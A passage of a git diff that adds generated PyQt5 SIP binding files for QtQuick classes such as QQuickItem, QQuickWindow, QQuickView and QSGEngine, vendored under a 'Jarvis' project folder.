const; + void setX(qreal); + void setY(qreal); + qreal width() const; + void setWidth(qreal); + void resetWidth(); + void setImplicitWidth(qreal); + qreal implicitWidth() const; + qreal height() const; + void setHeight(qreal); + void resetHeight(); + void setImplicitHeight(qreal); + qreal implicitHeight() const; + QQuickItem::TransformOrigin transformOrigin() const; + void setTransformOrigin(QQuickItem::TransformOrigin); + qreal z() const; + void setZ(qreal); + qreal rotation() const; + void setRotation(qreal); + qreal scale() const; + void setScale(qreal); + qreal opacity() const; + void setOpacity(qreal); + bool isVisible() const; + void setVisible(bool); + bool isEnabled() const; + void setEnabled(bool); + bool smooth() const; + void setSmooth(bool); + bool antialiasing() const; + void setAntialiasing(bool); + QQuickItem::Flags flags() const; + void setFlag(QQuickItem::Flag flag, bool enabled = true); + void setFlags(QQuickItem::Flags flags); + bool hasActiveFocus() const; + bool hasFocus() const; + void setFocus(bool); + bool isFocusScope() const; + QQuickItem *scopedFocusItem() const; + Qt::MouseButtons acceptedMouseButtons() const; + void setAcceptedMouseButtons(Qt::MouseButtons buttons); + bool acceptHoverEvents() const; + void setAcceptHoverEvents(bool enabled); + QCursor cursor() const; + void setCursor(const QCursor &cursor); + void unsetCursor(); + void grabMouse(); + void ungrabMouse(); + bool keepMouseGrab() const; + void setKeepMouseGrab(bool); + bool filtersChildMouseEvents() const; + void setFiltersChildMouseEvents(bool filter); + void grabTouchPoints(const QVector &ids); + void ungrabTouchPoints(); + bool keepTouchGrab() const; + void setKeepTouchGrab(bool); + virtual bool contains(const QPointF &point) const; + QPointF mapToItem(const QQuickItem *item, const QPointF &point) const; + QPointF mapToScene(const QPointF &point) const; + QRectF mapRectToItem(const QQuickItem *item, const QRectF &rect) const; + QRectF mapRectToScene(const QRectF &rect) const; + QPointF mapFromItem(const QQuickItem *item, const QPointF &point) const; + QPointF mapFromScene(const QPointF &point) const; + QRectF mapRectFromItem(const QQuickItem *item, const QRectF &rect) const; + QRectF mapRectFromScene(const QRectF &rect) const; + void polish(); + void forceActiveFocus(); + QQuickItem *childAt(qreal x, qreal y) const; + virtual QVariant inputMethodQuery(Qt::InputMethodQuery query) const; + + struct UpdatePaintNodeData + { +%TypeHeaderCode +#include +%End + + QSGTransformNode *transformNode; + + private: + UpdatePaintNodeData(); + }; + + virtual bool isTextureProvider() const; + virtual QSGTextureProvider *textureProvider() const; + +public slots: + void update() /ReleaseGIL/; + +protected: + virtual bool event(QEvent *); + bool isComponentComplete() const; + virtual void itemChange(QQuickItem::ItemChange, const QQuickItem::ItemChangeData &); + void updateInputMethod(Qt::InputMethodQueries queries = Qt::InputMethodQuery::ImQueryInput); + bool widthValid() const; + bool heightValid() const; + virtual void classBegin(); + virtual void componentComplete(); + virtual void keyPressEvent(QKeyEvent *event); + virtual void keyReleaseEvent(QKeyEvent *event); + virtual void inputMethodEvent(QInputMethodEvent *); + virtual void focusInEvent(QFocusEvent *); + virtual void focusOutEvent(QFocusEvent *); + virtual void mousePressEvent(QMouseEvent *event); + virtual void mouseMoveEvent(QMouseEvent *event); + virtual void mouseReleaseEvent(QMouseEvent *event); + virtual void mouseDoubleClickEvent(QMouseEvent *event); + virtual void mouseUngrabEvent(); + virtual void touchUngrabEvent(); + virtual void wheelEvent(QWheelEvent *event); + virtual void touchEvent(QTouchEvent *event); + virtual void hoverEnterEvent(QHoverEvent *event); + virtual void hoverMoveEvent(QHoverEvent *event); + virtual void hoverLeaveEvent(QHoverEvent *event); + virtual void dragEnterEvent(QDragEnterEvent *); + virtual void dragMoveEvent(QDragMoveEvent *); + virtual void dragLeaveEvent(QDragLeaveEvent *); + virtual void dropEvent(QDropEvent *); + virtual bool childMouseEventFilter(QQuickItem *, QEvent *); + virtual void geometryChanged(const QRectF &newGeometry, const QRectF &oldGeometry); + virtual QSGNode *updatePaintNode(QSGNode *, QQuickItem::UpdatePaintNodeData *); +%VirtualCatcherCode + PyObject *res; + + res = sipCallMethod(&sipIsErr, sipMethod, "DD", + a0, sipType_QSGNode, NULL, + a1, sipType_QQuickItem_UpdatePaintNodeData, NULL); + + if (res) + { + sipParseResult(&sipIsErr, sipMethod, res, "H0", sipType_QSGNode, &sipRes); + + if (!sipIsErr && sipRes && (sipRes->flags() & QSGNode::OwnedByParent)) + sipTransferTo(res, (PyObject *)sipPySelf); + + Py_DECREF(res); + } +%End + + virtual void releaseResources(); + virtual void updatePolish(); + +public: +%If (Qt_5_1_0 -) + bool activeFocusOnTab() const; +%End +%If (Qt_5_1_0 -) + void setActiveFocusOnTab(bool); +%End +%If (Qt_5_1_0 -) + void setFocus(bool focus, Qt::FocusReason reason); +%End +%If (Qt_5_1_0 -) + void forceActiveFocus(Qt::FocusReason reason); +%End +%If (Qt_5_1_0 -) + QQuickItem *nextItemInFocusChain(bool forward = true); +%End + +signals: +%If (Qt_5_1_0 -) + void windowChanged(QQuickWindow *window); +%End + +public: +%If (Qt_5_3_0 -) + void resetAntialiasing(); +%End +%If (Qt_5_4_0 -) + QQuickItemGrabResult *grabToImage(const QSize &targetSize = QSize()) /Factory/; +%MethodCode + QSharedPointer *grab; + + Py_BEGIN_ALLOW_THREADS + // This will leak but there seems to be no way to detach the object. + grab = new QSharedPointer(sipCpp->grabToImage(*a0)); + Py_END_ALLOW_THREADS + + sipRes = grab->data(); +%End + +%End +%If (Qt_5_7_0 -) + bool isAncestorOf(const QQuickItem *child) const; +%End +%If (Qt_5_7_0 -) + QPointF mapToGlobal(const QPointF &point) const; +%End +%If (Qt_5_7_0 -) + QPointF mapFromGlobal(const QPointF &point) const; +%End +%If (Qt_5_10_0 -) + QSizeF size() const; +%End +%If (Qt_5_10_0 -) + bool acceptTouchEvents() const; +%End +%If (Qt_5_10_0 -) + void setAcceptTouchEvents(bool accept); +%End +%If (Qt_5_11_0 -) + QObject *containmentMask() const; +%End +%If (Qt_5_11_0 -) + void setContainmentMask(QObject *mask /KeepReference/); +%End + +signals: +%If (Qt_5_11_0 -) + void containmentMaskChanged(); +%End +}; + +QFlags operator|(QQuickItem::Flag f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickitemgrabresult.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickitemgrabresult.sip new file mode 100644 index 00000000..a06895c6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickitemgrabresult.sip @@ -0,0 +1,53 @@ +// qquickitemgrabresult.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_4_0 -) + +class QQuickItemGrabResult : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QImage image() const; + QUrl url() const; +%If (Qt_5_9_0 -) + bool saveToFile(const QString &fileName) const; +%End +%If (- Qt_5_9_0) +%If (Qt_5_11_0 -) + bool saveToFile(const QString &fileName); +%End +%End + +protected: + virtual bool event(QEvent *); + +signals: + void ready(); + +private: + QQuickItemGrabResult(QObject *parent = 0); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickpainteditem.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickpainteditem.sip new file mode 100644 index 00000000..80568549 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickpainteditem.sip @@ -0,0 +1,112 @@ +// qquickpainteditem.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QQuickPaintedItem : QQuickItem /ExportDerived/ +{ +%TypeHeaderCode +#include +%End + +public: +%If (Qt_5_6_1 -) + explicit QQuickPaintedItem(QQuickItem *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QQuickPaintedItem(QQuickItem *parent /TransferThis/ = 0); +%End + virtual ~QQuickPaintedItem(); + + enum RenderTarget + { + Image, + FramebufferObject, + InvertedYFramebufferObject, + }; + + enum PerformanceHint + { + FastFBOResizing, + }; + + typedef QFlags PerformanceHints; + void update(const QRect &rect = QRect()); + bool opaquePainting() const; + void setOpaquePainting(bool opaque); + bool antialiasing() const; + void setAntialiasing(bool enable); + bool mipmap() const; + void setMipmap(bool enable); + QQuickPaintedItem::PerformanceHints performanceHints() const; + void setPerformanceHint(QQuickPaintedItem::PerformanceHint hint, bool enabled = true); + void setPerformanceHints(QQuickPaintedItem::PerformanceHints hints); + QRectF contentsBoundingRect() const; + QSize contentsSize() const; + void setContentsSize(const QSize &); + void resetContentsSize(); + qreal contentsScale() const; + void setContentsScale(qreal); + QColor fillColor() const; + void setFillColor(const QColor &); + QQuickPaintedItem::RenderTarget renderTarget() const; + void setRenderTarget(QQuickPaintedItem::RenderTarget target); + virtual void paint(QPainter *painter) = 0; + +signals: + void fillColorChanged(); + void contentsSizeChanged(); + void contentsScaleChanged(); + void renderTargetChanged(); + +protected: + virtual QSGNode *updatePaintNode(QSGNode *, QQuickItem::UpdatePaintNodeData *); + +public: +%If (Qt_5_4_0 -) + virtual bool isTextureProvider() const; +%End +%If (Qt_5_4_0 -) + virtual QSGTextureProvider *textureProvider() const; +%End + +protected: +%If (Qt_5_4_0 -) + virtual void releaseResources(); +%End +%If (Qt_5_6_1 -) + virtual void itemChange(QQuickItem::ItemChange, const QQuickItem::ItemChangeData &); +%End + +public: +%If (Qt_5_6_0 -) + QSize textureSize() const; +%End +%If (Qt_5_6_0 -) + void setTextureSize(const QSize &size); +%End + +signals: +%If (Qt_5_6_0 -) + void textureSizeChanged(); +%End +}; + +QFlags operator|(QQuickPaintedItem::PerformanceHint f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickrendercontrol.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickrendercontrol.sip new file mode 100644 index 00000000..019f3224 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickrendercontrol.sip @@ -0,0 +1,58 @@ +// qquickrendercontrol.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_4_0 -) + +class QQuickRenderControl : QObject +{ +%TypeHeaderCode +#include +%End + +public: +%If (Qt_5_6_1 -) + explicit QQuickRenderControl(QObject *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QQuickRenderControl(QObject *parent /TransferThis/ = 0); +%End + virtual ~QQuickRenderControl(); +%If (PyQt_OpenGL) + void initialize(QOpenGLContext *gl); +%End + void invalidate(); + void polishItems(); + void render(); + bool sync(); + QImage grab(); + static QWindow *renderWindowFor(QQuickWindow *win, QPoint *offset = 0); + virtual QWindow *renderWindow(QPoint *offset); +%If (Qt_5_5_0 -) + void prepareThread(QThread *targetThread); +%End + +signals: + void renderRequested(); + void sceneChanged(); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquicktextdocument.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquicktextdocument.sip new file mode 100644 index 00000000..9d6d1be2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquicktextdocument.sip @@ -0,0 +1,39 @@ +// qquicktextdocument.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) + +class QQuickTextDocument : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QQuickTextDocument(QQuickItem *parent /TransferThis/); + QTextDocument *textDocument() const; + +private: + QQuickTextDocument(const QQuickTextDocument &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickview.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickview.sip new file mode 100644 index 00000000..ad6ca92a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickview.sip @@ -0,0 +1,77 @@ +// qquickview.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QQuickView : QQuickWindow /ExportDerived/ +{ +%TypeHeaderCode +#include +%End + +public: + explicit QQuickView(QWindow *parent /TransferThis/ = 0); + QQuickView(QQmlEngine *engine, QWindow *parent /TransferThis/); + QQuickView(const QUrl &source, QWindow *parent /TransferThis/ = 0); + virtual ~QQuickView() /ReleaseGIL/; + QUrl source() const; + QQmlEngine *engine() const; + QQmlContext *rootContext() const; + QQuickItem *rootObject() const; + + enum ResizeMode + { + SizeViewToRootObject, + SizeRootObjectToView, + }; + + QQuickView::ResizeMode resizeMode() const; + void setResizeMode(QQuickView::ResizeMode); + + enum Status + { + Null, + Ready, + Loading, + Error, + }; + + QQuickView::Status status() const; + QList errors() const; + QSize initialSize() const; + +public slots: + void setSource(const QUrl &) /ReleaseGIL/; +%If (Qt_5_14_0 -) + void setInitialProperties(const QVariantMap &initialProperties); +%End + +signals: + void statusChanged(QQuickView::Status); + +protected: + virtual void resizeEvent(QResizeEvent *); + virtual void timerEvent(QTimerEvent *); + virtual void keyPressEvent(QKeyEvent *); + virtual void keyReleaseEvent(QKeyEvent *); + virtual void mousePressEvent(QMouseEvent *); + virtual void mouseReleaseEvent(QMouseEvent *); + virtual void mouseMoveEvent(QMouseEvent *); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickwindow.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickwindow.sip new file mode 100644 index 00000000..440c4a7c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qquickwindow.sip @@ -0,0 +1,331 @@ +// qquickwindow.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QQuickWindow : QWindow /ExportDerived/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + #if QT_VERSION >= 0x050400 + {sipName_QSGEngine, &sipType_QSGEngine, -1, 1}, + #else + {0, 0, -1, 1}, + #endif + {sipName_QQuickItem, &sipType_QQuickItem, 11, 2}, + #if QT_VERSION >= 0x050400 + {sipName_QQuickItemGrabResult, &sipType_QQuickItemGrabResult, -1, 3}, + #else + {0, 0, -1, 3}, + #endif + {sipName_QSGTexture, &sipType_QSGTexture, 13, 4}, + #if QT_VERSION >= 0x050100 + {sipName_QQuickTextDocument, &sipType_QQuickTextDocument, -1, 5}, + #else + {0, 0, -1, 5}, + #endif + #if QT_VERSION >= 0x050400 + {sipName_QSGAbstractRenderer, &sipType_QSGAbstractRenderer, -1, 6}, + #else + {0, 0, -1, 6}, + #endif + #if QT_VERSION >= 0x050600 + {sipName_QQuickImageResponse, &sipType_QQuickImageResponse, -1, 7}, + #else + {0, 0, -1, 7}, + #endif + {sipName_QQuickTextureFactory, &sipType_QQuickTextureFactory, -1, 8}, + #if QT_VERSION >= 0x050400 + {sipName_QQuickRenderControl, &sipType_QQuickRenderControl, -1, 9}, + #else + {0, 0, -1, 9}, + #endif + {sipName_QSGTextureProvider, &sipType_QSGTextureProvider, -1, 10}, + {sipName_QQuickWindow, &sipType_QQuickWindow, 14, -1}, + #if QT_VERSION >= 0x050200 + {sipName_QQuickFramebufferObject, &sipType_QQuickFramebufferObject, -1, 12}, + #else + {0, 0, -1, 12}, + #endif + {sipName_QQuickPaintedItem, &sipType_QQuickPaintedItem, -1, -1}, + {sipName_QSGDynamicTexture, &sipType_QSGDynamicTexture, -1, -1}, + {sipName_QQuickView, &sipType_QQuickView, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + enum CreateTextureOption + { + TextureHasAlphaChannel, + TextureHasMipmaps, + TextureOwnsGLTexture, +%If (Qt_5_2_0 -) + TextureCanUseAtlas, +%End +%If (Qt_5_6_0 -) + TextureIsOpaque, +%End + }; + + typedef QFlags CreateTextureOptions; +%If (Qt_5_6_1 -) + explicit QQuickWindow(QWindow *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QQuickWindow(QWindow *parent /TransferThis/ = 0); +%End + virtual ~QQuickWindow() /ReleaseGIL/; + QQuickItem *contentItem() const; + QQuickItem *activeFocusItem() const; + virtual QObject *focusObject() const; + QQuickItem *mouseGrabberItem() const; + bool sendEvent(QQuickItem *, QEvent *); + QImage grabWindow() /ReleaseGIL/; +%If (PyQt_OpenGL) + void setRenderTarget(QOpenGLFramebufferObject *fbo); +%End +%If (PyQt_OpenGL) + QOpenGLFramebufferObject *renderTarget() const; +%End + void setRenderTarget(uint fboId, const QSize &size); + uint renderTargetId() const; + QSize renderTargetSize() const; + QQmlIncubationController *incubationController() const; + QSGTexture *createTextureFromImage(const QImage &image) const /Factory/; +%If (Qt_5_2_0 -) + QSGTexture *createTextureFromImage(const QImage &image, QQuickWindow::CreateTextureOptions options) const /Factory/; +%End + QSGTexture *createTextureFromId(uint id, const QSize &size, QQuickWindow::CreateTextureOptions options = QQuickWindow::CreateTextureOption()) const /Factory/; +%If (Qt_5_14_0 -) + QSGTexture *createTextureFromNativeObject(QQuickWindow::NativeObjectType type, const void *nativeObjectPtr, int nativeLayout, const QSize &size, QQuickWindow::CreateTextureOptions options = QQuickWindow::CreateTextureOption()) const /Factory/; +%End + void setClearBeforeRendering(bool enabled); + bool clearBeforeRendering() const; + void setColor(const QColor &color); + QColor color() const; + void setPersistentOpenGLContext(bool persistent); + bool isPersistentOpenGLContext() const; + void setPersistentSceneGraph(bool persistent); + bool isPersistentSceneGraph() const; +%If (PyQt_OpenGL) + QOpenGLContext *openglContext() const; +%End + +signals: + void frameSwapped(); + void sceneGraphInitialized(); + void sceneGraphInvalidated(); + void beforeSynchronizing(); + void beforeRendering(); + void afterRendering(); + void colorChanged(const QColor &); + +public slots: + void update(); + void releaseResources(); + +protected: + virtual void exposeEvent(QExposeEvent *); + virtual void resizeEvent(QResizeEvent *); + virtual void showEvent(QShowEvent *); + virtual void hideEvent(QHideEvent *); + virtual void focusInEvent(QFocusEvent *); + virtual void focusOutEvent(QFocusEvent *); + virtual bool event(QEvent *); + virtual void keyPressEvent(QKeyEvent *); + virtual void keyReleaseEvent(QKeyEvent *); + virtual void mousePressEvent(QMouseEvent *); + virtual void mouseReleaseEvent(QMouseEvent *); + virtual void mouseDoubleClickEvent(QMouseEvent *); + virtual void mouseMoveEvent(QMouseEvent *); + virtual void wheelEvent(QWheelEvent *); +%If (Qt_5_15_0 -) + virtual void tabletEvent(QTabletEvent *); +%End + +public: +%If (Qt_5_1_0 -) + static bool hasDefaultAlphaBuffer(); +%End +%If (Qt_5_1_0 -) + static void setDefaultAlphaBuffer(bool useAlpha); +%End + +signals: +%If (Qt_5_1_0 -) + void closing(QQuickCloseEvent *close); +%End +%If (Qt_5_1_0 -) + void activeFocusItemChanged(); +%End + +public: +%If (Qt_5_2_0 -) +%If (PyQt_OpenGL) + void resetOpenGLState(); +%End +%End +%If (Qt_5_3_0 -) + + enum SceneGraphError + { + ContextNotAvailable, + }; + +%End + +signals: +%If (Qt_5_3_0 -) +%If (PyQt_OpenGL) + void openglContextCreated(QOpenGLContext *context); +%End +%End +%If (Qt_5_3_0 -) + void afterSynchronizing(); +%End +%If (Qt_5_3_0 -) + void afterAnimating(); +%End +%If (Qt_5_3_0 -) + void sceneGraphAboutToStop(); +%End +%If (Qt_5_3_0 -) + void sceneGraphError(QQuickWindow::SceneGraphError error, const QString &message); +%End + +public: +%If (Qt_5_4_0 -) + + enum RenderStage + { + BeforeSynchronizingStage, + AfterSynchronizingStage, + BeforeRenderingStage, + AfterRenderingStage, + AfterSwapStage, +%If (Qt_5_6_0 -) + NoStage, +%End + }; + +%End +%If (Qt_5_4_0 -) + void scheduleRenderJob(QRunnable *job /Transfer/, QQuickWindow::RenderStage schedule) /ReleaseGIL/; +%End +%If (Qt_5_4_0 -) + qreal effectiveDevicePixelRatio() const; +%End +%If (Qt_5_5_0 -) + bool isSceneGraphInitialized() const; +%End +%If (Qt_5_8_0 -) + QSGRendererInterface *rendererInterface() const; +%End +%If (Qt_5_8_0 -) + static void setSceneGraphBackend(QSGRendererInterface::GraphicsApi api); +%End +%If (Qt_5_8_0 -) + static void setSceneGraphBackend(const QString &backend); +%End +%If (Qt_5_8_0 -) + QSGRectangleNode *createRectangleNode() const /Factory/; +%End +%If (Qt_5_8_0 -) + QSGImageNode *createImageNode() const /Factory/; +%End +%If (Qt_5_9_0 -) + static QString sceneGraphBackend(); +%End +%If (Qt_5_10_0 -) + + enum TextRenderType + { + QtTextRendering, + NativeTextRendering, + }; + +%End +%If (Qt_5_10_0 -) + static QQuickWindow::TextRenderType textRenderType(); +%End +%If (Qt_5_10_0 -) + static void setTextRenderType(QQuickWindow::TextRenderType renderType); +%End +%If (Qt_5_14_0 -) + + enum NativeObjectType + { + NativeObjectTexture, + }; + +%End +%If (Qt_5_14_0 -) + void beginExternalCommands(); +%End +%If (Qt_5_14_0 -) + void endExternalCommands(); +%End + +signals: +%If (Qt_5_14_0 -) + void beforeRenderPassRecording(); +%End +%If (Qt_5_14_0 -) + void afterRenderPassRecording(); +%End +}; + +%If (Qt_5_1_0 -) +class QQuickCloseEvent; +%End + +%ModuleHeaderCode +#include "qpyquick_api.h" +%End + +%PostInitialisationCode +qpyquick_post_init(); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgabstractrenderer.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgabstractrenderer.sip new file mode 100644 index 00000000..5a16d33e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgabstractrenderer.sip @@ -0,0 +1,77 @@ +// qsgabstractrenderer.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_4_0 -) + +class QSGAbstractRenderer : QObject /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + enum ClearModeBit + { + ClearColorBuffer, + ClearDepthBuffer, + ClearStencilBuffer, + }; + + typedef QFlags ClearMode; +%If (Qt_5_14_0 -) + + enum MatrixTransformFlag + { + MatrixTransformFlipY, + }; + +%End +%If (Qt_5_14_0 -) + typedef QFlags MatrixTransformFlags; +%End + virtual ~QSGAbstractRenderer(); + void setDeviceRect(const QRect &rect); + void setDeviceRect(const QSize &size); + QRect deviceRect() const; + void setViewportRect(const QRect &rect); + void setViewportRect(const QSize &size); + QRect viewportRect() const; + void setProjectionMatrixToRect(const QRectF &rect); +%If (Qt_5_14_0 -) + void setProjectionMatrixToRect(const QRectF &rect, QSGAbstractRenderer::MatrixTransformFlags flags); +%End + void setProjectionMatrix(const QMatrix4x4 &matrix); + QMatrix4x4 projectionMatrix() const; + void setClearColor(const QColor &color); + QColor clearColor() const; + void setClearMode(QSGAbstractRenderer::ClearMode mode); + QSGAbstractRenderer::ClearMode clearMode() const; + virtual void renderScene(uint fboId = 0) = 0; + +signals: + void sceneGraphChanged(); +}; + +%End +%If (Qt_5_4_0 -) +QFlags operator|(QSGAbstractRenderer::ClearModeBit f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgengine.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgengine.sip new file mode 100644 index 00000000..f55e471d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgengine.sip @@ -0,0 +1,68 @@ +// qsgengine.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_4_0 -) + +class QSGEngine : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum CreateTextureOption + { + TextureHasAlphaChannel, + TextureOwnsGLTexture, + TextureCanUseAtlas, +%If (Qt_5_6_0 -) + TextureIsOpaque, +%End + }; + + typedef QFlags CreateTextureOptions; +%If (Qt_5_6_1 -) + explicit QSGEngine(QObject *parent /TransferThis/ = 0); +%End +%If (- Qt_5_6_1) + QSGEngine(QObject *parent /TransferThis/ = 0); +%End + virtual ~QSGEngine(); +%If (PyQt_OpenGL) + void initialize(QOpenGLContext *context); +%End + void invalidate(); + QSGAbstractRenderer *createRenderer() const; + QSGTexture *createTextureFromImage(const QImage &image, QSGEngine::CreateTextureOptions options = QSGEngine::CreateTextureOption()) const; + QSGTexture *createTextureFromId(uint id, const QSize &size, QSGEngine::CreateTextureOptions options = QSGEngine::CreateTextureOption()) const; +%If (Qt_5_8_0 -) + QSGRendererInterface *rendererInterface() const; +%End +%If (Qt_5_8_0 -) + QSGRectangleNode *createRectangleNode() const /Factory/; +%End +%If (Qt_5_8_0 -) + QSGImageNode *createImageNode() const /Factory/; +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgflatcolormaterial.sip 